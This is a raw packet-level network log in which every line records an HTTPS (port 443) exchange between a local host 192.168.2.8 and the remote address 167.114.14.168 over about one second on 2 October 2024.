Oct 2, 2024 06:11:31.779145002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.779339075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.779356956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.779408932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.779413939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.779423952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.779464006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.780061960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.780077934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.780138016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.780143023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.780188084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.780631065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.780647993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.780680895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.780710936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.780715942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.780738115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.780778885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.781392097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.781405926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.781502008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.781507969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.798399925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.798417091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.798475027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.798480988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.798537016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.869648933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.869674921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.869718075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.869724989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.869761944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.869792938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.870115042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.870131016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.870189905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.870196104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.870235920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.870537043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.870553017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.870604038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.870609045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.870652914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.870996952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.871015072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.871089935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.871095896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.871138096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.871587038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.871603966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.871649027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.871654987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.871695042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.871948004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.871963978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.872013092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.872019053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.872067928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.872710943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.872777939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.872777939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.872788906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.872833014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.889003038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.889028072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.889072895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.889077902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.889111042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.889133930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.960217953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.960235119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.960288048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.960299015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.960330009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.960350037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.960773945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.960793018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.960844040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.960850000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.960886002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.961107016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.961123943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.961174011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.961179972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.961205006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.961234093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.961705923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.961720943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.961883068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.961888075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.961932898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.962034941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.962050915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.962100029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.962105989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.962143898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.962608099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.962626934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.962677956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.962683916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.962723017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.963224888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.963242054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.963299990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.963305950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.963350058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.979696035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.979726076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.979765892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.979770899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.979816914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.051198006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.051215887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.051301956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.051320076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.051363945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.051424980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.051440954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.051491022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.051496983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.051544905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.052205086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052220106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052292109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.052298069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052340984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.052458048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052474976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052587986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.052593946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052634954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.052797079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052815914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052875042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.052880049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.052937984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.053272009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.053292036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.053334951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.053339958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.053365946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.053389072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.053625107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.053648949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.053709030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.053715944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.053759098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.070589066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.070604086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.070671082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.070677042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.070719957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.142082930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.142101049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.142168045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.142185926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.142230988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.142463923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.142481089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.142524958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.142530918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.142555952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.142579079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.142919064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.142935038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.142991066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.142997026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.143042088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.143404007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.143419981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.143486977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.143492937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.143536091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.143790007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.143806934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.143872023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.143877029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.143919945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.144304037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.144320011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.144383907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.144388914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.144431114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.144911051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.144927979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.145015001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.145019054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.145087957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.161320925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.161338091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.161397934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.161406994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.161465883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.235454082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.235471964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.235536098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.235547066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.235589981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.235896111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.235913038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.235959053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.235965967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.235992908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.236007929 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.236373901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.236391068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.236447096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.236453056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.236494064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.236752987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.236768961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.236809015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.236814976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.236849070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.236869097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.237504959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.237520933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.237561941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.237588882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.237595081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.237628937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.237669945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.238172054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.238188982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.238248110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.238254070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.251811028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.251863956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.251883984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.251889944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.251924038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.299640894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.326663971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.326680899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.326751947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.326759100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.326807022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.327406883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.327423096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.327481031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.327486038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.327548981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.327971935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.327987909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.328043938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.328048944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.328088999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.328677893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.328696966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.328752041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.328758001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.328809023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.329178095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.329195023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.329222918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.329287052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.329292059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.329333067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.329507113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.329521894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.329570055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.329575062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.329618931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.330466986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.330485106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.330547094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.330552101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.330595016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.343311071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.343328953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.343406916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.343413115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.343466043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.417167902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417186975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417268991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.417280912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417324066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.417448997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417473078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417504072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.417509079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417543888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.417563915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.417836905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417855024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417893887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.417900085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.417932987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.417948961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.418482065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.418498993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.418562889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.418569088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.418610096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.418884039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.418906927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.418957949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.418963909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.418993950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.419014931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.419312954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.419329882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.419379950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.419389963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.419430971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.419473886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.419488907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.419523001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.419528008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.419569016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.419594049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.433484077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.433500051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.433582067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.433588028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.433636904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.507709026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.507764101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.507808924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.507817984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.507854939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.507966042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.508128881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.508143902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.508346081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.508352041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.508444071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.508661985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.508697033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:32.508730888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:32.508734941 CEST	443	49723	167.114.14.168	192.168.2.8
